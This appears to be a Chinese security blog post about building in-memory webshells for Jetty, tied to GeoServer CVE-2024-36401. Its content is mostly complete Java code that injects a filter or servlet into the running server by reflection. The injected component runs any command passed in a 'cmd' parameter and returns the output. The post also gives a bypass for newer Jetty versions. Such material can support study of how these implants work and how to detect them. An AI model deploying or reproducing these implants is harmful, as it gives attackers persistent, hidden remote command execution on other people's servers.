最近在学习 geoserver 的 CVE-2024-36401 注入内存马的时候,发现需要注入 jetty 类型的内存马,这是一个不同于 tomcat 的轻量级 web 容器。具体来说,Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。Jetty 是使用 Java 语言编写的,它的 API 以一组 JAR 包的形式发布。开发人员可以将 Jetty 容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的 Java 应用提供网络和 web 连接。
环境搭建
因为我本身并不熟悉 jetty 的内容,所以这里把有关环境部署的部分也记录下来了,使用 IDEA 的 maven Archetype 创建 webapp 模板的应用程序模板,如下所示:
然后编写 pom 文件当中的内容,引入 jetty 的相关依赖。我的 pom 文件内容如下所示:
 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">  <modelVersion>4.0.0</modelVersion>  <groupId>org.example</groupId>  <artifactId>JettyMemshell</artifactId>  <packaging>war</packaging>  <version>1.0-SNAPSHOT</version>  <name>JettyMemshell Maven Webapp</name>  <url>http://maven.apache.org</url>
<!--建议更换成9.0.7.v20131107不会出现后续问题分析的前一个问题-->  <properties>    <jetty.version>9.4.44.v20210927</jetty.version>  </properties>
  <dependencies>
    <dependency>      <groupId>org.eclipse.jetty</groupId>      <artifactId>jetty-server</artifactId>      <version>${jetty.version}</version>    </dependency>    <dependency>      <groupId>org.eclipse.jetty</groupId>      <artifactId>jetty-servlet</artifactId>      <version>${jetty.version}</version>    </dependency>
    <dependency>      <groupId>junit</groupId>      <artifactId>junit</artifactId>      <version>3.8.1</version>      <scope>test</scope>    </dependency>  </dependencies>  <build>    <finalName>JettyMemshell</finalName>
    <plugins>      <plugin>        <groupId>org.eclipse.jetty</groupId>        <artifactId>jetty-maven-plugin</artifactId>        <version>${jetty.version}</version>        <configuration>          <httpConnector>          <port>8080</port>          </httpConnector>          <scanIntervalSeconds>10</scanIntervalSeconds>          <webApp>            <contextPath>/</contextPath>          </webApp>        </configuration>      </plugin>    </plugins>
  </build></project>
       复制代码
 然后编写一个简单的 servlet 来观察这个应用程序是否能够按照预期进行正常运行:
 package com.fanxing.servlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
public class HelloServlet extends HttpServlet{    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {        res.setContentType("text/html");        res.setStatus(HttpServletResponse.SC_OK);        res.getWriter().println("<h1>Hello World</h1>");    }}
       复制代码
 最后配置一下 web.xml:
 <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>  <display-name>Archetype Created Web Application</display-name>  <servlet>    <servlet-name>HelloServlet</servlet-name>    <servlet-class>com.fanxing.servlet.HelloServlet</servlet-class>  </servlet>  <servlet-mapping>    <servlet-name>HelloServlet</servlet-name>    <url-pattern>/hello</url-pattern>  </servlet-mapping>
</web-app>
       复制代码
 由于在 Run/Debug Configurations 当中我并没有找到配置 Jetty server 的地方,所以我们这里采用 maven plugin 的方式启动该应用程序。
点开右侧的 Maven 然后点击 plugins 的 Jetty:run,然后就可以正常启动应用程序,并且能够正常访问。
同时右键 jetty:run 可以对该应用程序进行调试。
Filter 分析
如下过程参考至https://xz.aliyun.com/t/12182。
为了知道如何装配内存马的各个部分我们必须要知道原 Filter 是如何构成的,我们需要定位到调用 doFilter 的部分进行观察。
其调用 chian.doFilter,我们需要定位 chain 的获取位置,并在此下断点再次启动应用程序看其内部逻辑。
我们往前去溯源程序的运行逻辑可以发现,源程序是在如下代码段当中进行 Filter 的获取的,其中关键的变量是_filterPathMappings。
filter 内存马实现
_filterPathMapping 当中记录了有关 filter 的信息,这些都会在初始化该变量的时候用到。现在我们可以理一下思路 ServletHandler 里面有一个 filterchain,这个 filterchain 里面的信息是通过_filterPathMapping 拿到的,所以我们的第一步是获取 ServletHandler 它是整个内存马的基石,如同 tomcat 当中 StandardContext 一样。使用 jos 搜索对象我们可以得到下面的结果:
根据搜索出来的结果我们就可以找到对应的获取 ServletHandler 的方式:
 public static void getHandler() throws Exception{        Object thread = Thread.currentThread();        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");        Object context = getFieldValue(contextClassLoader,"_context");        servletHandler = getFieldValue(context, "_servletHandler");    }
       复制代码
 然后回来再看_filterPathMappings 这个变量,我们可以通过观察它运行时的状态,来看它包含哪些内容。首先,_filterPathMappings 是一个 ArrayList 类型的对象,其中包含的数组元素是 FilterMapping 类型,每一个 FilterMapping 类型的变量内部都含有_filtername,_holder,_pathSpecs 三个变量。
我们从 FilterMapping.class 文件当中的函数中可以看到,针对每一种我们所需要的元素都有对应的 setter 方法:
在这些 setter 方法当中我们可以发现 setFilterName 本身并不是很需要,因为在 setFilterHolder 里面就已经自动调用了该方法。而 setPathSpecs 本身的入参是一个 String 类型的路径,也非常简单,唯一需要操作的点是 setFilterHolder,首先他不是 public 我们需要通过反射进行获取并调用,其次是我们需要额外的初始化一个 FilterHolder 类型的对象。
下面是我给出的这部分的代码段:
 //获取FilterHolder            Filter filter = new BehinderFilter();            FilterHolder filterHolder = new FilterHolder(filter);
            //拼凑filtermapping            FilterMapping filterMapping = new FilterMapping();            Method setFilterHolder = getMethod(filterMapping,"setFilterHolder", FilterHolder.class);            setFilterHolder.invoke(filterMapping, filterHolder);            filterMapping.setPathSpec("/evil");
       复制代码
 
最后参考源代码当中向_filterPathMapping 添加 filtermapping,_filterPathMapping.add(filtermapping)。
到此为止,理论成立,我们来看实战结果。我将整体的 filter 内存马结果代码展示如下:
 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.eclipse.jetty.servlet.FilterHolder;import org.eclipse.jetty.servlet.FilterMapping;import org.eclipse.jetty.servlet.ServletHandler;
import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;    public static Object getFieldValue(Object obj, String name) throws Exception{        Field field = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                field = clazz.getDeclaredField(name);                break;            } catch (NoSuchFieldException var6) {                clazz = clazz.getSuperclass();            }        }        field.setAccessible(true);        return field.get(obj);    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {        Method method = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                method = clazz.getDeclaredMethod(name, paramClazz);                break;            } catch (NoSuchMethodException var6) {                clazz = clazz.getSuperclass();            }        }        method.setAccessible(true);        return method;    }
    public static void getHandler() throws Exception{        Object thread = Thread.currentThread();        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");        Object context = getFieldValue(contextClassLoader,"_context");        servletHandler = getFieldValue(context, "_servletHandler");    }
    static {        try {            //获取ServletHandler            getHandler();
            //获取FilterHolder            Filter filter = new BehinderFilter();            FilterHolder filterHolder = new FilterHolder(filter);            filterHolder.setName("BehinderFilter");
            //拼凑filtermapping            FilterMapping filterMapping = new FilterMapping();            Method setFilterHolder = getMethod(filterMapping,"setFilterHolder", FilterHolder.class);            setFilterHolder.invoke(filterMapping, filterHolder);            filterMapping.setPathSpec("/evil");
            //加入filterPathMappings            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {            throw new RuntimeException(e);        }
    }
    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        String cmd = request.getParameter("cmd");        Runtime.getRuntime().exec(cmd);        //回显处理        Process process = Runtime.getRuntime().exec(cmd);        InputStream inputStream = process.getInputStream();        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));        String line;        StringBuilder stringBuilder = new StringBuilder();        while ((line = reader.readLine()) != null){            stringBuilder.append(line + "\n");        }        ServletOutputStream servletOutputStream = response.getOutputStream();        servletOutputStream.write(stringBuilder.toString().getBytes());        servletOutputStream.flush();        servletOutputStream.close();        chain.doFilter(request, response);    }
    @Override    public void destroy() {
    }}
       复制代码
 为了测试内存马性能,我才用最简单粗暴的触发方式,在 HelloServlet 当中直接加载该内存马。代码如下:
 public class HelloServlet extends HttpServlet{    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {        try {            Thread.currentThread().getContextClassLoader().loadClass(BehinderFilter.class.getName()).newInstance();        } catch (InstantiationException e) {            throw new RuntimeException(e);        } catch (IllegalAccessException e) {            throw new RuntimeException(e);        } catch (ClassNotFoundException e) {            throw new RuntimeException(e);        }        res.setContentType("text/html");        res.setStatus(HttpServletResponse.SC_OK);        res.getWriter().println("<h1>Hello World</h1>");    }}
       复制代码
 在注册之前我们先访问一下/evil,这个时候可以看到这个路由是啥也没有的。
然后访问一下/hello 注入一下我们理论成立的内存马,最后再访问/evil 路由,结果如下。看到这个报错我直接????
问题分析
好好好同类型无法相互转换 okok。但是这至少说明我们的所有想写入的字段都写进去了,要不然也不会报这个错。通过一番调试我发现问题出现在遍历_filterPathMappings 上面。
数组里面有三个 filtermapping,Jetty_WebSocketUpgradeFilter,HelloFilter,BehinderFilter,在遍历到第三个的时候直接抛出异常。
我们来对比一下正常的 Filter 和我们所注入的 filter 之间的区别。
对比之后我们可以发现主要的区别在 holder 里面,我们的 holder 仿佛什么都没有,但是我们确实是使用带有 filter 的构造函数进行实例化的。
但是由于多态的特性我们原先的写法,永远无法到达 FilterHolder(Filter filter)当中,只会调用第一个构造方法。
 FilterHolder filterHolder = new FilterHolder(filter);
       复制代码
 但是这不是根本问题,我们仍可以采用分段式的函数调用来弥补直接调用构造的方法的不足,如下所示:
 FilterHolder filterHolder = new FilterHolder();filterHolder.setFilter(filter);
       复制代码
 这样我们解决问题了吗?并没有,原因就在 setFilter()函数当中,他根本就没有往_filter 里面放数据。当然这个和 jetty 的版本有很大的关系,当前的版本是 9.4.44.v20210927。
我们回到 9.0.7.v20131107 版本当中,就会发现其中的内容有很大的变化,它能够正常给_filter 赋值。(后面的所有步骤都是用 9.0.7.v20131107)。
但是即便是这种情况下也无法避免 org.eclipse.jetty.servlet.FilterMapping cannot be cast to org.eclipse.jetty.servlet.FilterMapping。
问题解答(类加载器的命名空间问题)
网上关于这种报错的有两种解释:一种是针对于 spring 环境下的特化问题:devtool 上的热部署,第二种解释是类加载器的命名空间问题。
再回到https://xz.aliyun.com/t/12182文章当中提出的 payload,我们拿过来做一点简单的改动,得到下面的 payload,这一次是可以完美运行的没有任何问题。
 package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.eclipse.jetty.servlet.FilterHolder;import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    private static String filterName = "BehinderFilter";    private static String filterClassName = "MemshellTest.BehinderFilter";    private static String url = "/*";    public static Object getFieldValue(Object obj, String name) throws Exception{        Field field = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                field = clazz.getDeclaredField(name);                break;            } catch (NoSuchFieldException var6) {                clazz = clazz.getSuperclass();            }        }        field.setAccessible(true);        return field.get(obj);    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {        Method method = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                method = clazz.getDeclaredMethod(name, paramClazz);                break;            } catch (NoSuchMethodException var6) {                clazz = clazz.getSuperclass();            }        }        method.setAccessible(true);        return method;    }
    public static void getHandler() throws Exception{        Object thread = Thread.currentThread();        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");        Object context = getFieldValue(contextClassLoader,"_context");        servletHandler = getFieldValue(context, "_servletHandler");    }
    static {        try {            //获取ServletHandler            getHandler();
            //获取FilterHolder            Filter filter = new BehinderFilter();            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();            constructor2.setAccessible(true);            Object filterHolder = constructor2.newInstance();
            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);            setFilter.invoke(filterHolder,filter);
            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);            setName.invoke(filterHolder,filterName);
            //拼凑filtermapping
            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();            constructor.setAccessible(true);            Object filterMapping = constructor.newInstance();
            Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);            setFilterName.invoke(filterMapping,filterName);
            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());            setFilterHolder.setAccessible(true);            setFilterHolder.invoke(filterMapping,filterHolder);
            String pathSpecs = url;
            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);            setPathSpec.invoke(filterMapping,pathSpecs);
            //加入filterPathMappings            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {            throw new RuntimeException(e);        }
    }
    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        String cmd = request.getParameter("cmd");        Runtime.getRuntime().exec(cmd);        //回显处理        Process process = Runtime.getRuntime().exec(cmd);        InputStream inputStream = process.getInputStream();        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));        String line;        StringBuilder stringBuilder = new StringBuilder();        while ((line = reader.readLine()) != null){            stringBuilder.append(line + "\n");        }        ServletOutputStream servletOutputStream = response.getOutputStream();        servletOutputStream.write(stringBuilder.toString().getBytes());        servletOutputStream.flush();        servletOutputStream.close();        chain.doFilter(request, response);    }
    @Override    public void destroy() {
    }}
       复制代码
 无论是从环境的角度考虑,还是从结果的 payload 当中来看问题的答案都倾向于第二种说法,因为在 payload 当中使用应用类加载器加载出的类用于初始化是没有任何问题的,能够和之前的在源码当中的对象进行相互转化。
 servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();constructor.setAccessible(true);Object filterMapping = constructor.newInstance();
       复制代码
 原因就是在程序运行的时候,有另外的加载器也加载了这个类,然后我们在使用 new 去声明该类的的时候调用了该类加载器加载的类从而造成了命名空间的不同。
额外的问题
我们可不可以使用反射获取 filtermapping 然后其他的部分(filterholder)使用 new 的方式获取实例化对象?答案也是不行。
 //反射方式Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();constructor2.setAccessible(true);Object filterHolder = constructor2.newInstance();//new方式FilterHolder filterHolder = new FilterHolder();
       复制代码
 在我个人的尝试过程中,结果是不行的,它会在后续的为 filtermapping 反射获取方法的时候受到限制。
 Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
       复制代码
 如果我们使用的是反射方式,在这一步当中,它会提示我们找不到对应的方法,而在源码当中确实存在入参为该类的方法。我们可以分别在该处打下断点,然后用 evaluate 去计算这两种情况下的 filterHolder.getClass()的值:
//new 实例化方式
//反射方式
这两个结果只有一个不同,就是使用反射获取构造器实例化的对象当中在 reflectionData 当中是有值的。
最终 Filter 内存马
所以结合这些问题的分析与解决我们最后得到一个测试成功的内存马:
 public static Object servletHandler = null;
private static String filterName = "BehinderFilter";private static String filterClassName = "MemshellTest.BehinderFilter";private static String url = "/*";public static Object getFieldValue(Object obj, String name) throws Exception{    Field field = null;    Class clazz = obj.getClass();    while(clazz != Object.class) {        try {            field = clazz.getDeclaredField(name);            break;        } catch (NoSuchFieldException var6) {            clazz = clazz.getSuperclass();        }    }    field.setAccessible(true);    return field.get(obj);}
public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {    Method method = null;    Class clazz = obj.getClass();    while(clazz != Object.class) {        try {            method = clazz.getDeclaredMethod(name, paramClazz);            break;        } catch (NoSuchMethodException var6) {            clazz = clazz.getSuperclass();        }    }    method.setAccessible(true);    return method;}
public static void getHandler() throws Exception{    Object thread = Thread.currentThread();    Object contextClassLoader = getFieldValue(thread, "contextClassLoader");    Object context = getFieldValue(contextClassLoader,"_context");    servletHandler = getFieldValue(context, "_servletHandler");}
static {    try {        //获取ServletHandler        getHandler();
        //获取FilterHolder        Filter filter = new BehinderFilter();        Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();        constructor2.setAccessible(true);        Object filterHolder = constructor2.newInstance();
        Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);        setFilter.invoke(filterHolder,filter);
        Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);        setName.invoke(filterHolder,filterName);
        //拼凑filtermapping
        Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();        constructor.setAccessible(true);        Object filterMapping = constructor.newInstance();
        Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);        setFilterName.invoke(filterMapping,filterName);
        Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());        setFilterHolder.setAccessible(true);        setFilterHolder.invoke(filterMapping,filterHolder);
        String pathSpecs = url;
        Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);        setPathSpec.invoke(filterMapping,pathSpecs);
        //加入filterPathMappings        ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");        _filterPathMapings.add(filterMapping);
    } catch (Exception e) {        throw new RuntimeException(e);    }
}
@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Overridepublic void init(FilterConfig filterConfig) throws ServletException {
}
@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {    String cmd = request.getParameter("cmd");    Runtime.getRuntime().exec(cmd);    //回显处理    Process process = Runtime.getRuntime().exec(cmd);    InputStream inputStream = process.getInputStream();    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));    String line;    StringBuilder stringBuilder = new StringBuilder();    while ((line = reader.readLine()) != null){        stringBuilder.append(line + "\n");    }    ServletOutputStream servletOutputStream = response.getOutputStream();    servletOutputStream.write(stringBuilder.toString().getBytes());    servletOutputStream.flush();    servletOutputStream.close();    chain.doFilter(request, response);}
@Overridepublic void destroy() {
}
       复制代码
 Serlevt 内存马分析构造
在 filter 内存马的实现当中,我们发现在 ServletHandler 对象里面存在了很多有用的变量其中就包含了 _filterPathMapings 他可以帮我们实现 filter 内存马,更进一步的,有没有别的变量可以帮助我们实现 servlet 内存马呢?从变量池里面我们看到了_servlets 以及_servletsMapping。
在 ServletHandler 类当中可以检索通过哪个函数为_servlets 进行赋值,然后再定位调用赋值函数的位置。最终能找到 addServlet 函数对_servlets 进行赋值且变量类型为 ServletHolder。
然而 ServletHolder 当中的内容和 FilterHolder 的内容差不多,可以直接把 FilterHolder 进行实例化的部分照抄过来,得到如下所示的代码段。
 //获取ServletHolderServlet servlet = new BehinderServlet();Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();constructor2.setAccessible(true);Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);setName.invoke(servletHolder, ServletName);
//装载_servletMethod addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());addServlet.setAccessible(true);addServlet.invoke(servletHandler, servletHolder);
       复制代码
 对于_servletsMapping 来讲,其内容物是一个 ServletMapping 的对象,主要就是存放 Servlet 的作用路径以及 Servlet 的名称。
最后通过同样的思路也能够找到 ServletHandler 对_servletsMapping 变量进行赋值的过程。如下所示:
最终给出如下的 servlet 内存马代码:
 package com.fanxing.servlet;
import MemshellTest.BehinderFilter;
import javax.servlet.Filter;import javax.servlet.Servlet;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;
public class BehinderServlet extends HttpServlet {
    public static Object servletHandler = null;
    private static String ServletName = "BehinderServlet";    private static String url = "/*";
    public static Object getFieldValue(Object obj, String name) throws Exception{        Field field = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                field = clazz.getDeclaredField(name);                break;            } catch (NoSuchFieldException var6) {                clazz = clazz.getSuperclass();            }        }        field.setAccessible(true);        return field.get(obj);    }
    public static void getHandler() throws Exception{        Object thread = Thread.currentThread();        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");        Object context = getFieldValue(contextClassLoader,"_context");        servletHandler = getFieldValue(context, "_servletHandler");    }
    static {        try {            //获取ServletHandler            getHandler();
            //获取ServletHolder            Servlet servlet = new BehinderServlet();            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();            constructor2.setAccessible(true);            Object servletHolder = constructor2.newInstance();
            Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);            setFilter.invoke(servletHolder, servlet);
            Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);            setName.invoke(servletHolder, ServletName);
            //装载_servlet            Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());            addServlet.setAccessible(true);            addServlet.invoke(servletHandler, servletHolder);
            //初始化mapping            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();            constructor.setAccessible(true);            Object servletMapping = constructor.newInstance();
            Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);            setFilterName.invoke(servletMapping, ServletName);
            String pathSpecs = url;
            Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);            setPathSpec.invoke(servletMapping, pathSpecs);
            //加入_servletMappings            Method addServletMapping = servletHandler.getClass().getDeclaredMethod("addServletMapping", servletMapping.getClass());            addServletMapping.setAccessible(true);            addServletMapping.invoke(servletHandler,servletMapping);
        } catch (Exception e) {            throw new RuntimeException(e);        }    }
    @Override    public void doGet(HttpServletRequest request, HttpServletResponse resp)            throws ServletException, IOException {        resp.getWriter().write("FanXing");        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));    }}
       复制代码
 结果如下所示:
高版本利用绕过
之前在 Filter 内存马实现的过程中前半段使用的是 9.4.44.v20210927 版本 jetty,在那个版本有一个 setFilter 没有办法正常 set 变量_filter 的问题,所以在后半段以及 Servlet 内存马实现的时候都使用的是 9.0.7.v20131107 版本。
这一节主要是为了解决高版本下的内容绕过,再次回到 FilterHolder 代码段跟踪运行逻辑。
FilterHolder#setFilter。
然后到 Holder#setInstance。
最后到 BaseHolder#setInstance,可以发现传进去的 filter 实例化对象最终赋给了_instance。
最后回看 FilterHolder 当中的代码检索哪一部分,调用了 getInstance,最后发现在 initialize()函数当中使用 getInstance 为_filter 进行赋值。
进一步的去看 super.initialize()当中的内容,可以发现它做了一次有关生命周期的判断内容,在默认情况下我们走到这里的_state 是 0,所以在这里我们会直接进入 if 语句里面并抛出异常(AbstractLifeCycle#isStarted)。
但是在 AbstractLifeCycle 当中存在着可以改变_state 的 setter 方法,比如可以强制把他改变成 2 的 getStarted()方法。
所以我们可以在获取 FilterHolder 当中的代码下面加入如下语句,这样内存马就可以按照预期的逻辑向_filter 当中写入数据了。
 Method setStarted = getMethod(filterHolder,"setStarted", null);setStarted.invoke(filterHolder);Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);initialize.setAccessible(true);initialize.invoke(filterHolder);
       复制代码
 但是这样仍不够,我们通过了上面代码当中的判断,直接来到了。
 this._filter = (Filter)this.wrap(this._filter, WrapFunction.class, WrapFunction::wrapFilter);
       复制代码
 
在使用 wrap 进行封装的时候会出现问题,在该代码逻辑里面会采用 getServletHandler()来获取 ServletHandler 对象,但是这里的 this 是 FilterHolder 其中的_servletHandler 是 null,所以会造成空指针异常。
为了过这一步验证,我们可以在 getHandler 里面拿到的 servletHanlder 通过 setter 方法放进去:
 Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());setServletHandler.invoke(filterHolder, servletHandler);
       复制代码
 最终我们的实现结果如下:
 package MemshellTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.eclipse.jetty.servlet.FilterHolder;import org.eclipse.jetty.servlet.FilterMapping;
import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;
public class BehinderFilter extends AbstractTranslet implements Filter {
    public static Object servletHandler = null;
    private static String filterName = "BehinderFilter";    private static String url = "/*";    public static Object getFieldValue(Object obj, String name) throws Exception{        Field field = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                field = clazz.getDeclaredField(name);                break;            } catch (NoSuchFieldException var6) {                clazz = clazz.getSuperclass();            }        }        field.setAccessible(true);        return field.get(obj);    }
    public static Method getMethod(Object obj, String name, Class<?>... paramClazz) throws NoSuchMethodException {        Method method = null;        Class clazz = obj.getClass();        while(clazz != Object.class) {            try {                method = clazz.getDeclaredMethod(name, paramClazz);                break;            } catch (NoSuchMethodException var6) {                clazz = clazz.getSuperclass();            }        }        method.setAccessible(true);        return method;    }
    public static void getHandler() throws Exception{        Object thread = Thread.currentThread();        Object contextClassLoader = getFieldValue(thread, "contextClassLoader");        Object context = getFieldValue(contextClassLoader,"_context");        servletHandler = getFieldValue(context, "_servletHandler");    }
    static {        try {            //获取ServletHandler            getHandler();
            //获取FilterHolder            Filter filter = new BehinderFilter();            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();            constructor2.setAccessible(true);            Object filterHolder = constructor2.newInstance();
            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);            setFilter.invoke(filterHolder,filter);
            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);            setName.invoke(filterHolder,filterName);            //高版本绕过代码段
            Method setStarted = getMethod(filterHolder,"setStarted", null);            setStarted.invoke(filterHolder);
            Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());            setServletHandler.invoke(filterHolder, servletHandler);
            Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);            initialize.setAccessible(true);            initialize.invoke(filterHolder);
            //拼凑filtermapping
            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();            constructor.setAccessible(true);            Object filterMapping = constructor.newInstance();
            Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);            setFilterName.invoke(filterMapping,filterName);
            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());            setFilterHolder.setAccessible(true);            setFilterHolder.invoke(filterMapping,filterHolder);
            String pathSpecs = url;
            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);            setPathSpec.invoke(filterMapping,pathSpecs);
            //加入filterPathMappings            ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");            _filterPathMapings.add(filterMapping);
        } catch (Exception e) {            throw new RuntimeException(e);        }
    }
    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }
